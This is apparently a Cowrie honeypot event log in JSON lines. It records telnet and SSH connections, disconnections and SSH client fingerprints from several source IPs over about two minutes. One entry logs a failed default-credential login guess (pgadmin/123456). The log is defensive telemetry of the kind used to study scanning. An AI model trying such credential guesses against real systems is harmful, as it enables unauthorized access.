{"eventid":"cowrie.session.closed","duration":1.5390393733978271,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:34.836449Z","src_ip":"68.183.198.12","session":"cdb1aac1a6a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.92376446723938,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:36.040101Z","src_ip":"64.227.101.30","session":"3ea38a87979e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.3024172782898,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:37.750620Z","src_ip":"68.183.198.12","session":"07d600670690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.14589810371399,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:38.909826Z","src_ip":"64.227.101.30","session":"cb87ad4207aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37c3f1f810d","protocol":"telnet","message":"New connection: 64.227.101.30:45688 (10.17.0.5:23) [session: f37c3f1f810d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:39.306809Z"}
{"eventid":"cowrie.session.closed","duration":58.452167987823486,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:39.945825Z","src_ip":"64.227.101.30","session":"e58ab0257028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83209729194641,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:41.319507Z","src_ip":"161.97.105.174","session":"4b75034fa1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":55846,"dst_ip":"159.203.135.109","dst_port":23,"session":"242348904d58","protocol":"telnet","message":"New connection: 68.183.198.12:55846 (159.203.135.109:23) [session: 242348904d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:43.984870Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48398,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea38c975fe21","protocol":"telnet","message":"New connection: 64.227.101.30:48398 (10.17.0.5:23) [session: ea38c975fe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:45.619328Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46804,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc92a25b699e","protocol":"telnet","message":"New connection: 64.227.101.30:46804 (10.17.0.5:23) [session: cc92a25b699e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:45.651047Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47948,"dst_ip":"10.17.0.5","dst_port":23,"session":"333b347cd89b","protocol":"telnet","message":"New connection: 64.227.101.30:47948 (10.17.0.5:23) [session: 333b347cd89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:45.876477Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55896,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b4cf8081fac","protocol":"telnet","message":"New connection: 161.97.105.174:55896 (159.203.135.109:23) [session: 3b4cf8081fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:48.583928Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49810,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db6a91163ac","protocol":"telnet","message":"New connection: 64.227.101.30:49810 (10.17.0.5:23) [session: 9db6a91163ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:52.772487Z"}
{"eventid":"cowrie.session.closed","duration":38.79218363761902,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:54.966936Z","src_ip":"64.227.101.30","session":"f2389bb5bc93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.029959678649902,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:56.336695Z","src_ip":"64.227.101.30","session":"f37c3f1f810d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58256,"dst_ip":"159.203.135.109","dst_port":23,"session":"e798a678408a","protocol":"telnet","message":"New connection: 68.183.198.12:58256 (159.203.135.109:23) [session: e798a678408a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:58.318314Z"}
{"eventid":"cowrie.session.closed","duration":39.922316789627075,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:02:58.428001Z","src_ip":"64.227.101.30","session":"1f1290cf43aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.30781412124634,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:01.335187Z","src_ip":"68.183.198.12","session":"f3e14da0ed19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.74101734161377,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:04.651770Z","src_ip":"68.183.198.12","session":"1d4f7b424e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52240,"dst_ip":"10.17.0.5","dst_port":23,"session":"41703887eb98","protocol":"telnet","message":"New connection: 64.227.101.30:52240 (10.17.0.5:23) [session: 41703887eb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:04.843547Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":38354,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a9b70922da","protocol":"ssh","message":"New connection: 103.170.173.26:38354 (10.17.0.5:22) [session: e6a9b70922da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:05.680776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:05.685829Z","src_ip":"103.170.173.26","session":"e6a9b70922da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:05.946034Z","src_ip":"103.170.173.26","session":"e6a9b70922da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pgadmin","password":"123456","message":"login attempt [pgadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:07.016237Z","src_ip":"103.170.173.26","session":"e6a9b70922da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:08.280912Z","src_ip":"103.170.173.26","session":"e6a9b70922da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.69313406944275,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:08.752666Z","src_ip":"64.227.101.30","session":"f29e7e855c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.75136065483093,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:10.977070Z","src_ip":"64.227.101.30","session":"7a364e0d2f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57118,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdcbbb75fa9c","protocol":"telnet","message":"New connection: 64.227.101.30:57118 (10.17.0.5:23) [session: fdcbbb75fa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:12.620453Z"}
{"eventid":"cowrie.session.closed","duration":36.37778830528259,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:22.254174Z","src_ip":"64.227.101.30","session":"333b347cd89b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.607412338256836,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:22.258315Z","src_ip":"64.227.101.30","session":"cc92a25b699e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.82971906661987,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:22.413531Z","src_ip":"161.97.105.174","session":"3b4cf8081fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a167a98cd851","protocol":"telnet","message":"New connection: 64.227.101.30:33118 (10.17.0.5:23) [session: a167a98cd851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:23.796953Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33406,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cbd17544e87","protocol":"telnet","message":"New connection: 64.227.101.30:33406 (10.17.0.5:23) [session: 6cbd17544e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:24.665103Z"}
{"eventid":"cowrie.session.closed","duration":39.11945724487305,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:24.738695Z","src_ip":"64.227.101.30","session":"ea38c975fe21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.70971059799194,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:25.072542Z","src_ip":"64.227.101.30","session":"3cf4e099dfe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.355979681015015,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:25.340770Z","src_ip":"68.183.198.12","session":"242348904d58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34426,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d596da57a0","protocol":"telnet","message":"New connection: 68.183.198.12:34426 (159.203.135.109:23) [session: a4d596da57a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:28.878039Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.191","src_port":5004,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be9a3627465","protocol":"ssh","message":"New connection: 2.57.122.191:5004 (10.17.0.5:22) [session: 1be9a3627465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:30.053356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:30.059506Z","src_ip":"2.57.122.191","session":"1be9a3627465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:30.166140Z","src_ip":"2.57.122.191","session":"1be9a3627465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:30.619136Z","src_ip":"2.57.122.191","session":"1be9a3627465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00498056411743,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:34.752063Z","src_ip":"64.227.101.30","session":"4eab6c368c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39734,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdc68fea81e","protocol":"telnet","message":"New connection: 64.227.101.30:39734 (10.17.0.5:23) [session: 5fdc68fea81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:40.427497Z"}
{"eventid":"cowrie.session.closed","duration":42.668681383132935,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:40.986902Z","src_ip":"68.183.198.12","session":"e798a678408a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40736,"dst_ip":"10.17.0.5","dst_port":23,"session":"2055bca2647a","protocol":"telnet","message":"New connection: 64.227.101.30:40736 (10.17.0.5:23) [session: 2055bca2647a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:43.076655Z"}
{"eventid":"cowrie.session.closed","duration":120.00884342193604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:43.087704Z","src_ip":"64.227.101.30","session":"f40b71dda9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36186,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7a9130d157","protocol":"telnet","message":"New connection: 68.183.198.12:36186 (159.203.135.109:23) [session: 2f7a9130d157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:43.216257Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43588,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d4b7868117","protocol":"telnet","message":"New connection: 64.227.101.30:43588 (10.17.0.5:23) [session: a4d4b7868117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:46.788133Z"}
{"eventid":"cowrie.session.closed","duration":55.11618614196777,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:47.888569Z","src_ip":"64.227.101.30","session":"9db6a91163ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7e9e9cb7a93","protocol":"telnet","message":"New connection: 64.227.101.30:40262 (10.17.0.5:23) [session: b7e9e9cb7a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:48.106897Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43918,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2f9f69924e","protocol":"telnet","message":"New connection: 64.227.101.30:43918 (10.17.0.5:23) [session: ca2f9f69924e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:48.483359Z"}
{"eventid":"cowrie.session.closed","duration":37.079617738723755,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:49.699924Z","src_ip":"64.227.101.30","session":"fdcbbb75fa9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44494,"dst_ip":"10.17.0.5","dst_port":23,"session":"8929ccdc35ad","protocol":"telnet","message":"New connection: 64.227.101.30:44494 (10.17.0.5:23) [session: 8929ccdc35ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:49.730329Z"}
{"eventid":"cowrie.session.closed","duration":45.98907804489136,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:50.832514Z","src_ip":"64.227.101.30","session":"41703887eb98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46364,"dst_ip":"10.17.0.5","dst_port":23,"session":"60cf95e604b9","protocol":"telnet","message":"New connection: 64.227.101.30:46364 (10.17.0.5:23) [session: 60cf95e604b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:52.475020Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37774,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef2767da83f","protocol":"telnet","message":"New connection: 68.183.198.12:37774 (159.203.135.109:23) [session: 4ef2767da83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:53.123084Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49360,"dst_ip":"10.17.0.5","dst_port":23,"session":"565e5c624152","protocol":"telnet","message":"New connection: 64.227.101.30:49360 (10.17.0.5:23) [session: 565e5c624152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:58.206460Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46586,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dff4e2d0f2a","protocol":"telnet","message":"New connection: 64.227.101.30:46586 (10.17.0.5:23) [session: 9dff4e2d0f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:03:59.899064Z"}
{"eventid":"cowrie.session.closed","duration":37.387903690338135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:01.184730Z","src_ip":"64.227.101.30","session":"a167a98cd851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.17582440376282,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:06.840803Z","src_ip":"64.227.101.30","session":"6cbd17544e87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38432,"dst_ip":"159.203.135.109","dst_port":23,"session":"5745cbeb3944","protocol":"telnet","message":"New connection: 161.97.105.174:38432 (159.203.135.109:23) [session: 5745cbeb3944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:07.582361Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54958,"dst_ip":"10.17.0.5","dst_port":23,"session":"712a18ad087e","protocol":"telnet","message":"New connection: 64.227.101.30:54958 (10.17.0.5:23) [session: 712a18ad087e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:08.548959Z"}
{"eventid":"cowrie.session.closed","duration":41.17911672592163,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:10.057025Z","src_ip":"68.183.198.12","session":"a4d596da57a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57086,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1103396888","protocol":"telnet","message":"New connection: 64.227.101.30:57086 (10.17.0.5:23) [session: 1b1103396888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:12.540502Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"5421b9f31282","protocol":"telnet","message":"New connection: 64.227.101.30:57178 (10.17.0.5:23) [session: 5421b9f31282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:13.756994Z"}
{"eventid":"cowrie.session.closed","duration":17.136137008666992,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:17.035114Z","src_ip":"64.227.101.30","session":"9dff4e2d0f2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.459882497787476,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:18.536411Z","src_ip":"64.227.101.30","session":"2055bca2647a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237667322158813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:19.344481Z","src_ip":"64.227.101.30","session":"b7e9e9cb7a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34712,"dst_ip":"10.17.0.5","dst_port":23,"session":"c339f11d5ae1","protocol":"telnet","message":"New connection: 64.227.101.30:34712 (10.17.0.5:23) [session: c339f11d5ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:23.205848Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35612,"dst_ip":"10.17.0.5","dst_port":23,"session":"88181e47e827","protocol":"telnet","message":"New connection: 64.227.101.30:35612 (10.17.0.5:23) [session: 88181e47e827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:24.883144Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34210,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2081d5479b4","protocol":"telnet","message":"New connection: 64.227.101.30:34210 (10.17.0.5:23) [session: f2081d5479b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:25.673153Z"}
{"eventid":"cowrie.session.closed","duration":0.004936933517456055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:25.677959Z","src_ip":"64.227.101.30","session":"f2081d5479b4","protocol":"telnet"}
